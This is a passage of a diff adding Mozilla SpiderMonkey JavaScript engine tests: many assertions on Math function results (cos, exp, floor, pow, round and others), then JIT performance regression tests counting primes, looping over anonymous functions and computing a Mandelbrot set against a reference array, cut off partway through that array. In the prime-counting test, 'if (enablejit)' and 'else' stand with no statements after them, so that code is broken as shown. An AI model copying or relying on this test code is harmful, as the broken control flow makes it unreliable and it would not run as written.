+testmath("Math.cos", "Math.PI*2", 1)
+testmath("Math.cos", "Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "Math.PI/2", 0)
+testmath("Math.cos", "3*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "Math.PI", -1)
+testmath("Math.cos", "5*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "3*Math.PI/2", 0)
+testmath("Math.cos", "7*Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "2*Math.PI", 1)
+testmath("Math.cos", "-0.7853981633974", 0.7071067811865)
+testmath("Math.cos", "-1.570796326795", 0)
+testmath("Math.cos", "2.3561944901920", -.7071067811865)
+testmath("Math.cos", "3.14159265359", -1)
+testmath("Math.cos", "3.926990816987", -0.7071067811865)
+testmath("Math.cos", "4.712388980385", 0)
+testmath("Math.cos", "5.497787143782", 0.7071067811865)
+testmath("Math.cos", "6.28318530718", 1)
+testmath("Math.cos", "-Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI/2", 0)
+testmath("Math.cos", "-3*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI", -1)
+testmath("Math.cos", "-5*Math.PI/4", -Math.SQRT2/2)
+testmath("Math.cos", "-3*Math.PI/2", 0)
+testmath("Math.cos", "-7*Math.PI/4", Math.SQRT2/2)
+testmath("Math.cos", "-Math.PI*2", 1)
+
+testmath("Math.exp", "null", 1)
+testmath("Math.exp", "void 0", Number.NaN)
+testmath("Math.exp", "1", Math.E)
+testmath("Math.exp", "true", Math.E)
+testmath("Math.exp", "false", 1)
+testmath("Math.exp", "'1'", Math.E)
+testmath("Math.exp", "'0'", 1)
+testmath("Math.exp", "Number.NaN", Number.NaN)
+testmath("Math.exp", "0", 1)
+testmath("Math.exp", "-0", 1)
+testmath("Math.exp", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.exp", "Number.NEGATIVE_INFINITY", 0)
+
+testmath("Math.floor", "void 0", Number.NaN)
+testmath("Math.floor", "null", 0)
+testmath("Math.floor", "true", 1)
+testmath("Math.floor", "false", 0)
+testmath("Math.floor", "\"1.1\"", 1)
+testmath("Math.floor", "\"-1.1\"", -2)
+testmath("Math.floor", "\"0.1\"", 0)
+testmath("Math.floor", "\"-0.1\"", -1)
+testmath("Math.floor", "Number.NaN", Number.NaN)
+testmath("Math.floor(Number.NaN) == -Math.ceil", "-Number.NaN", false)
+testmath("Math.floor", "0", 0)
+testmath("Math.floor(0) == -Math.ceil", "-0", true)
+testmath("Math.floor", "-0", -0)
+testmath("Infinity/Math.floor", "-0", -Infinity)
+testmath("Math.floor(-0)== -Math.ceil", "0", true)
+testmath("Math.floor", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.floor(Number.POSITIVE_INFINITY) == -Math.ceil", "Number.NEGATIVE_INFINITY", true)
+testmath("Math.floor", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.floor(Number.NEGATIVE_INFINITY) == -Math.ceil", "Number.POSITIVE_INFINITY", true)
+testmath("Math.floor", "0.0000001", 0)
+testmath("Math.floor(0.0000001)==-Math.ceil", "-0.0000001", true)
+testmath("Math.floor", "-0.0000001", -1)
+testmath("Math.floor(-0.0000001)==-Math.ceil", "0.0000001", true)
+
+testmath("Math.log", "void 0", Number.NaN)
+testmath("Math.log", "null", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "true", 0)
+testmath("Math.log", "false", -Infinity)
+testmath("Math.log", "'0'", -Infinity)
+testmath("Math.log", "'1'", 0)
+testmath("Math.log", "\"Infinity\"", Infinity)
+testmath("Math.log", "Number.NaN", Number.NaN)
+testmath("Math.log", "-0.000001", Number.NaN)
+testmath("Math.log", "-1", Number.NaN)
+testmath("Math.log", "0", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "-0", Number.NEGATIVE_INFINITY)
+testmath("Math.log", "1", 0)
+testmath("Math.log", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.log", "Number.NEGATIVE_INFINITY", Number.NaN)
+
+testmath("Math.max", "void 0, 1", Number.NaN)
+testmath("Math.max", "void 0, void 0", Number.NaN)
+testmath("Math.max", "null, 1", 1)
+testmath("Math.max", "-1, null", 0)
+testmath("Math.max", "true,false", 1)
+testmath("Math.max", "\"-99\",\"99\"", 99)
+testmath("Math.max", "Number.NaN,Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.max", "Number.NaN, 0", Number.NaN)
+testmath("Math.max", "\"a string\", 0", Number.NaN)
+testmath("Math.max", "Number.NaN,1", Number.NaN)
+testmath("Math.max", "\"a string\", Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.max", "Number.POSITIVE_INFINITY, Number.NaN", Number.NaN)
+testmath("Math.max", "Number.NaN, Number.NaN", Number.NaN)
+testmath("Math.max", "0,Number.NaN", Number.NaN)
+testmath("Math.max", "1, Number.NaN", Number.NaN)
+testmath("Math.max", "0,0", 0)
+testmath("Math.max", "0,-0", 0)
+testmath("Math.max", "-0,0", 0)
+testmath("Math.max", "-0,-0", -0)
+testmath("Infinity/Math.max", "-0,-0", -Infinity)
+testmath("Math.max", "Number.POSITIVE_INFINITY, Number.MAX_VALUE", Number.POSITIVE_INFINITY)
+testmath("Math.max", "Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.max", "Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.max", "1,.99999999999999", 1)
+testmath("Math.max", "-1,-.99999999999999", -.99999999999999)
+
+testmath("Math.min", "void 0, 1", Number.NaN)
+testmath("Math.min", "void 0, void 0", Number.NaN)
+testmath("Math.min", "null, 1", 0)
+testmath("Math.min", "-1, null", -1)
+testmath("Math.min", "true,false", 0)
+testmath("Math.min", "\"-99\",\"99\"", -99)
+testmath("Math.min", "Number.NaN,0", Number.NaN)
+testmath("Math.min", "Number.NaN,1", Number.NaN)
+testmath("Math.min", "Number.NaN,-1", Number.NaN)
+testmath("Math.min", "0,Number.NaN", Number.NaN)
+testmath("Math.min", "1,Number.NaN", Number.NaN)
+testmath("Math.min", "-1,Number.NaN", Number.NaN)
+testmath("Math.min", "Number.NaN,Number.NaN", Number.NaN)
+testmath("Math.min", "1,1.0000000001", 1)
+testmath("Math.min", "1.0000000001,1", 1)
+testmath("Math.min", "0,0", 0)
+testmath("Math.min", "0,-0", -0)
+testmath("Math.min", "-0,-0", -0)
+testmath("Infinity/Math.min", "0,-0", -Infinity)
+testmath("Infinity/Math.min", "-0,-0", -Infinity)
+
+testmath("Math.pow", "null,null", 1)
+testmath("Math.pow", "void 0, void 0", Number.NaN)
+testmath("Math.pow", "true, false", 1)
+testmath("Math.pow", "false,true", 0)
+testmath("Math.pow", "'2','32'", 4294967296)
+testmath("Math.pow", "1,Number.NaN", Number.NaN)
+testmath("Math.pow", "0,Number.NaN", Number.NaN)
+testmath("Math.pow", "Number.NaN,0", 1)
+testmath("Math.pow", "Number.NaN,-0", 1)
+testmath("Math.pow", "Number.NaN, 1", Number.NaN)
+testmath("Math.pow", "Number.NaN, .5", Number.NaN)
+testmath("Math.pow", "1.00000001, Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "1.00000001, Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "-1.00000001,Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-1.00000001,Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "1, Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "1, Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "-1, Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.pow", "-1, Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.pow", ".0000000009, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-.0000000009, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-.0000000009, Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY,.00000000001", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, 1", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, -.00000000001", 0)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, -1", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 1", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 333", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "Number.POSITIVE_INFINITY, 2", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 666", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, 0.5", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -1", -0)
+testmath("Infinity/Math.pow", "Number.NEGATIVE_INFINITY, -1", -Infinity)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -3", -0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, -2", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY,-0.5", 0)
+testmath("Math.pow", "Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY", 0)
+testmath("Math.pow", "0,1", 0)
+testmath("Math.pow", "0,0", 1)
+testmath("Math.pow", "1,0", 1)
+testmath("Math.pow", "-1,0", 1)
+testmath("Math.pow", "0,0.5", 0)
+testmath("Math.pow", "0,1000", 0)
+testmath("Math.pow", "0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "0, -1", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, -0.5", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, -1000", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "0, Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-0, 1", -0)
+testmath("Math.pow", "-0,3", -0)
+testmath("Infinity/Math.pow", "-0, 1", -Infinity)
+testmath("Infinity/Math.pow", "-0,3", -Infinity)
+testmath("Math.pow", "-0,2", 0)
+testmath("Math.pow", "-0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-0, -1", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "-0, -10001", Number.NEGATIVE_INFINITY)
+testmath("Math.pow", "-0, -2", Number.POSITIVE_INFINITY)
+testmath("Math.pow", "-0, 0.5", 0)
+testmath("Math.pow", "-0, Number.POSITIVE_INFINITY", 0)
+testmath("Math.pow", "-1, 0.5", Number.NaN)
+testmath("Math.pow", "-1, Number.NaN", Number.NaN)
+testmath("Math.pow", "-1, -0.5", Number.NaN)
+
+testmath("Math.round", "0", 0)
+testmath("Math.round", "void 0", Number.NaN)
+testmath("Math.round", "true", 1)
+testmath("Math.round", "false", 0)
+testmath("Math.round", "'.99999'", 1)
+testmath("Math.round", "'12345e-2'", 123)
+testmath("Math.round", "Number.NaN", Number.NaN)
+testmath("Math.round", "0", 0)
+testmath("Math.round", "-0", -0)
+testmath("Infinity/Math.round", "-0", -Infinity)
+testmath("Math.round", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.round", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.round", "0.49", 0)
+testmath("Math.round", "0.5", 1)
+testmath("Math.round", "0.51", 1)
+testmath("Math.round", "-0.49", -0)
+testmath("Math.round", "-0.5", -0)
+testmath("Infinity/Math.round", "-0.49", -Infinity)
+testmath("Infinity/Math.round", "-0.5", -Infinity)
+testmath("Math.round", "-0.51", -1)
+testmath("Math.round", "3.5", 4)
+testmath("Math.round", "-3", -3)
+
+testmath("Math.sin", "null", 0)
+testmath("Math.sin", "void 0", Number.NaN)
+testmath("Math.sin", "false", 0)
+testmath("Math.sin", "'2.356194490192'", 0.7071067811865)
+testmath("Math.sin", "Number.NaN", Number.NaN)
+testmath("Math.sin", "0", 0)
+testmath("Math.sin", "-0", -0)
+testmath("Math.sin", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.sin", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.sin", "0.7853981633974", 0.7071067811865)
+testmath("Math.sin", "1.570796326795", 1)
+testmath("Math.sin", "2.356194490192", 0.7071067811865)
+testmath("Math.sin", "3.14159265359", 0)
+
+testmath("Math.sqrt", "void 0", Number.NaN)
+testmath("Math.sqrt", "null", 0)
+testmath("Math.sqrt", "1", 1)
+testmath("Math.sqrt", "false", 0)
+testmath("Math.sqrt", "'225'", 15)
+testmath("Math.sqrt", "Number.NaN", Number.NaN)
+testmath("Math.sqrt", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.sqrt", "-1", Number.NaN)
+testmath("Math.sqrt", "-0.5", Number.NaN)
+testmath("Math.sqrt", "0", 0)
+testmath("Math.sqrt", "-0", -0)
+testmath("Infinity/Math.sqrt", "-0", -Infinity)
+testmath("Math.sqrt", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.sqrt", "1", 1)
+testmath("Math.sqrt", "2", Math.SQRT2)
+testmath("Math.sqrt", "0.5", Math.SQRT1_2)
+testmath("Math.sqrt", "4", 2)
+testmath("Math.sqrt", "9", 3)
+testmath("Math.sqrt", "16", 4)
+testmath("Math.sqrt", "25", 5)
+testmath("Math.sqrt", "36", 6)
+testmath("Math.sqrt", "49", 7)
+testmath("Math.sqrt", "64", 8)
+testmath("Math.sqrt", "256", 16)
+testmath("Math.sqrt", "10000", 100)
+testmath("Math.sqrt", "65536", 256)
+testmath("Math.sqrt", "0.09", 0.3)
+testmath("Math.sqrt", "0.01", 0.1)
+testmath("Math.sqrt", "0.00000001", 0.0001)
+
+testmath("Math.tan", "void 0", Number.NaN)
+testmath("Math.tan", "null", 0)
+testmath("Math.tan", "false", 0)
+testmath("Math.tan", "Number.NaN", Number.NaN)
+testmath("Math.tan", "0", 0)
+testmath("Math.tan", "-0", -0)
+testmath("Math.tan", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.tan", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.tan", "Math.PI/4", 1)
+testmath("Math.tan", "3*Math.PI/4", -1)
+testmath("Math.tan", "Math.PI", -0)
+testmath("Math.tan", "5*Math.PI/4", 1)
+testmath("Math.tan", "7*Math.PI/4", -1)
+testmath("Infinity/Math.tan", "-0", -Infinity)
diff --git a/js/src/tests/non262/jit/regress-451673.js b/js/src/tests/non262/jit/regress-451673.js
new file mode 100644
index 0000000000..0d40e677b3
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-451673.js
@@ -0,0 +1,78 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451673;
+var summary = 'TM: Tracing prime number generation';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function doTest(enablejit)
+ {
+ if (enablejit)
+ else
+
+ var n = 1000000;
+ var start = new Date();
+ var i=0;
+ var j=0;
+ var numprimes=0;
+ var limit=0;
+ numprimes = 1; // 2 is prime
+ var mceil = Math.floor;
+ var msqrt = Math.sqrt;
+ var isPrime = 1;
+
+ for (i = 3; i<= n; i+=2)
+ {
+ isPrime=1;
+ limit = mceil(msqrt(i)+1) + 1;
+
+ for (j = 3; j < limit; j+=2)
+ {
+ if (i % j == 0)
+ {
+ isPrime = 0;
+ break;
+ }
+ }
+
+ if (isPrime)
+ {
+ numprimes ++;
+ }
+ }
+
+ var end = new Date();
+
+ var timetaken = end - start;
+ timetaken = timetaken / 1000;
+
+ if (enablejit)
+
+ print((enablejit ? ' JIT' : 'Non-JIT') + ": Number of primes up to: " + n + " is " + numprimes + ", counted in " + timetaken + " secs.");
+
+ return timetaken;
+ }
+
+ var timenonjit = doTest(false);
+ var timejit = doTest(true);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-451974-01.js b/js/src/tests/non262/jit/regress-451974-01.js
new file mode 100644
index 0000000000..548695dafe
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-451974-01.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451974;
+var summary = 'TM: loops with anon functions should not be slower with jit enabled';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var chars = '0123456789abcdef';
+var size = 10000;
+var mult = 1000;
+var densearray = [];
+var lsize = size;
+
+while (lsize--)
+{
+ densearray.push(chars);
+}
+
+function loop()
+{
+ var start = new Date();
+
+ for (var a = 0; a < mult; a++)
+ {
+ var f = (function(x){});
+ for (var i = 0, len = densearray.length; i < len; i++)
+ {
+ f(densearray[i]);
+ }
+ }
+
+ var stop = new Date();
+ return stop - start;
+}
+
+var timenonjit = loop();
+var timejit = loop();
+
+print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+expect = true;
+actual = timejit < timenonjit/2;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/jit/regress-451974-02.js b/js/src/tests/non262/jit/regress-451974-02.js
new file mode 100644
index 0000000000..5c1cd4c133
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-451974-02.js
@@ -0,0 +1,60 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451974;
+var summary = 'TM: loops with anon functions should not be slower with jit enabled';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var chars = '0123456789abcdef';
+ var size = 10000;
+ var mult = 1000;
+ var densearray = [];
+ var lsize = size;
+
+ while (lsize--)
+ {
+ densearray.push(chars);
+ }
+
+ function loop()
+ {
+ var start = new Date();
+
+ for (var a = 0; a < mult; a++)
+ {
+ var f = (function(x){});
+ for (var i = 0, len = densearray.length; i < len; i++)
+ {
+ f(densearray[i]);
+ }
+ }
+
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = loop();
+ var timejit = loop();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit/2;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-452498-01.js b/js/src/tests/non262/jit/regress-452498-01.js
new file mode 100644
index 0000000000..08681bf9db
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-452498-01.js
@@ -0,0 +1,72 @@
+// |reftest| random -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2: jit heavyweight functions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function complex(aReal, aImag) {
+ this.r = aReal;
+ this.i = aImag;
+ this.square = function() {
+ return new complex(this.r * this.r - this.i * this.i,
+ 2 * this.r * this.i);
+ }
+ this.dist = function() {
+ return Math.sqrt(this.r * this.r + this.i * this.i);
+ }
+ this.add = function(aComplex) {
+ return new complex(this.r + aComplex.r, this.i + aComplex.i);
+ }
+}
+
+function mandelbrotValueOO (aC, aIterMax) {
+ let Z = new complex(0.0, 0.0);
+ for (var iter = 0; iter < aIterMax; iter++) {
+ Z = Z.square().add(aC);
+ if (Z.r * Z.r + Z.i * Z.i > 256) { break; }
+ }
+ return iter;
+}
+
+function f(trace) {
+ var start = Date.now();
+ const width = 60;
+ const height = 60;
+ const max_iters = 50;
+ var output = [];
+ for (let img_x = 0; img_x < width; img_x++) {
+ for (let img_y = 0; img_y < height; img_y++) {
+ let C = new complex(-2 + (img_x / width) * 3,
+ -1.5 + (img_y / height) * 3);
+ var res = mandelbrotValueOO(C, max_iters);
+ if (output.length > 0 && output[output.length -1][0] == res) {
+ output[output.length-1][1]++;
+ } else {
+ output.push([res, 1]);
+ }
+ }
+ }
+ const reference = "[[2, 6], [3, 17], [4, 6], [5, 1], [50, 1], [5, 1], [4, 6], [3, 17], [2, 10], [3, 17], [4, 6], [5, 1], [6, 1], [50, 1], [6, 1], [5, 1], [4, 6], [3, 17], [2, 8], [3, 17], [4, 6], [5, 2], [6, 1], [50, 1], [6, 1], [5, 2], [4, 6], [3, 17], [2, 6], [3, 17], [4, 6], [5, 2], [6, 1], [7, 1], [50, 1], [7, 1], [6, 1], [5, 2], [4, 6], [3, 17], [2, 4], [3, 17], [4, 7], [5, 2], [6, 1], [8, 1], [50, 1], [8, 1], [6, 1], [5, 2], [4, 7], [3, 17], [2, 2], [3, 17], [4, 7], [5, 3], [6, 1], [9, 1], [50, 1], [9, 1], [6, 1], [5, 3], [4, 7], [3, 17], [2, 1], [3, 16], [4, 7], [5, 3], [6, 2], [8, 1], [50, 1], [8, 1], [6, 2], [5, 3], [4, 7], [3, 32], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 31], [4, 7], [5, 3], [6, 2], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 2], [5, 3], [4, 7], [3, 30], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 28], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [10, 1], [50, 1], [10, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 26], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [9, 1], [11, 1], [50, 1], [11, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 25], [4, 6], [5, 3], [6, 3], [7, 1], [8, 1], [18, 1], [13, 1], [15, 1], [50, 1], [15, 1], [13, 1], [18, 1], [8, 1], [7, 1], [6, 3], [5, 3], [4, 6], [3, 24], [4, 7], [5, 2], [6, 2], [7, 3], [8, 1], [10, 1], [14, 1], [50, 3], [14, 1], [10, 1], [8, 1], [7, 3], [6, 2], [5, 2], [4, 7], [3, 23], [4, 6], [5, 3], [7, 1], [8, 1], [9, 1], [8, 2], [10, 1], [11, 1], [15, 1], [50, 3], [15, 1], [11, 1], [10, 1], [8, 2], [9, 1], [8, 1], [7, 1], [5, 3], [4, 6], [3, 22], [4, 7], [5, 2], [6, 1], [7, 1], [14, 1], [16, 1], [11, 1], [10, 1], [12, 1], [20, 1], [23, 1], [46, 1], [50, 1], [46, 1], [23, 1], [20, 1], [12, 1], [10, 1], [11, 1], [16, 1], [14, 1], [7, 1], [6, 1], [5, 2], [4, 7], [3, 20], [4, 7], [5, 3], [6, 1], [7, 1], [8, 1], [10, 1], [17, 1], [16, 1], [20, 1], [50, 7], [20, 1], [16, 1], [17, 1], [10, 1], [8, 1], [7, 1], [6, 1], [5, 3], [4, 7], [3, 19], [4, 7], [5, 3], [6, 2], [7, 1], [10, 1], [21, 1], [50, 11], [21, 1], [10, 1], [7, 1], [6, 2], [5, 3], [4, 7], [3, 18], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [9, 1], [13, 1], [25, 1], [50, 9], [25, 1], [13, 1], [9, 1], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 17], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [14, 2], [50, 11], [14, 2], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 16], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [11, 1], [36, 1], [50, 11], [36, 1], [11, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 15], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [9, 1], [14, 1], [50, 11], [14, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 14], [4, 7], [5, 4], [6, 3], [7, 1], [8, 1], [9, 1], [12, 1], [26, 1], [50, 9], [26, 1], [12, 1], [9, 1], [8, 1], [7, 1], [6, 3], [5, 4], [4, 7], [3, 13], [4, 7], [5, 4], [6, 2], [7, 2], [8, 1], [9, 1], [10, 1], [15, 1], [50, 9], [15, 1], [10, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 4], [4, 7], [3, 12], [4, 7], [5, 4], [6, 3], [7, 1], [8, 2], [9, 1], [10, 1], [12, 1], [16, 1], [50, 7], [16, 1], [12, 1], [10, 1], [9, 1], [8, 2], [7, 1], [6, 3], [5, 4], [4, 7], [3, 11], [4, 6], [5, 4], [6, 3], [7, 1], [8, 2], [9, 1], [11, 1], [12, 1], [14, 1], [17, 1], [23, 1], [34, 1], [50, 3], [34, 1], [23, 1], [17, 1], [14, 1], [12, 1], [11, 1], [9, 1], [8, 2], [7, 1], [6, 3], [5, 4], [4, 6], [3, 10], [4, 7], [5, 3], [6, 2], [7, 2], [8, 1], [9, 1], [22, 1], [12, 1], [50, 1], [25, 1], [50, 11], [25, 1], [50, 1], [12, 1], [22, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 3], [4, 7], [3, 9], [4, 6], [5, 4], [6, 1], [7, 1], [8, 2], [9, 1], [14, 1], [50, 1], [21, 1], [50, 15], [21, 1], [50, 1], [14, 1], [9, 1], [8, 2], [7, 1], [6, 1], [5, 4], [4, 6], [3, 8], [4, 7], [5, 3], [6, 2], [9, 1], [14, 1], [13, 1], [11, 1], [13, 1], [26, 1], [50, 17], [26, 1], [13, 1], [11, 1], [13, 1], [14, 1], [9, 1], [6, 2], [5, 3], [4, 7], [3, 7], [4, 6], [5, 4], [6, 1], [7, 1], [9, 1], [49, 1], [43, 1], [50, 23], [43, 1], [49, 1], [9, 1], [7, 1], [6, 1], [5, 4], [4, 6], [3, 7], [4, 5], [5, 4], [6, 2], [7, 1], [9, 1], [13, 1], [50, 25], [13, 1], [9, 1], [7, 1], [6, 2], [5, 4], [4, 5], [3, 6], [4, 6], [5, 3], [6, 2], [7, 2], [9, 1], [11, 1], [17, 1], [50, 23], [17, 1], [11, 1], [9, 1], [7, 2], [6, 2], [5, 3], [4, 6], [3, 5], [4, 5], [5, 3], [6, 3], [7, 1], [8, 1], [9, 1], [50, 1], [26, 1], [50, 23], [26, 1], [50, 1], [9, 1], [8, 1], [7, 1], [6, 3], [5, 3], [4, 5], [3, 5], [4, 4], [5, 3], [6, 3], [7, 1], [8, 2], [10, 1], [21, 1], [50, 25], [21, 1], [10, 1], [8, 2], [7, 1], [6, 3], [5, 3], [4, 4], [3, 5], [4, 4], [5, 2], [6, 3], [7, 1], [12, 1], [9, 1], [10, 1], [11, 1], [50, 27], [11, 1], [10, 1], [9, 1], [12, 1], [7, 1], [6, 3], [5, 2], [4, 4], [3, 5], [4, 3], [5, 2], [6, 2], [7, 2], [9, 1], [42, 1], [15, 1], [23, 1], [14, 1], [50, 27], [14, 1], [23, 1], [15, 1], [42, 1], [9, 1], [7, 2], [6, 2], [5, 2], [4, 3], [3, 5], [4, 3], [5, 1], [6, 1], [20, 1], [9, 1], [8, 1], [9, 1], [10, 1], [16, 1], [50, 33], [16, 1], [10, 1], [9, 1], [8, 1], [9, 1], [20, 1], [6, 1], [5, 1], [4, 3], [3, 5], [4, 3], [5, 1], [6, 1], [9, 1], [13, 1], [12, 1], [11, 1], [38, 1], [25, 1], [50, 33], [25, 1], [38, 1], [11, 1], [12, 1], [13, 1], [9, 1], [6, 1], [5, 1], [4, 3], [3, 5], [4, 3], [5, 2], [6, 1], [7, 1], [10, 1], [24, 1], [25, 1], [50, 35], [25, 1], [24, 1], [10, 1], [7, 1], [6, 1], [5, 2], [4, 3], [3, 5], [4, 4], [5, 1], [6, 1], [7, 1], [11, 2], [13, 1], [19, 1], [50, 33], [19, 1], [13, 1], [11, 2], [7, 1], [6, 1], [5, 1], [4, 4], [3, 5], [4, 4], [5, 2], [6, 1], [50, 1], [8, 2], [17, 1], [19, 1], [35, 1], [14, 1], [24, 1], [50, 25], [24, 1], [14, 1], [35, 1], [19, 1], [17, 1], [8, 2], [50, 1], [6, 1], [5, 2], [4, 4], [3, 5], [4, 5], [5, 2], [6, 2], 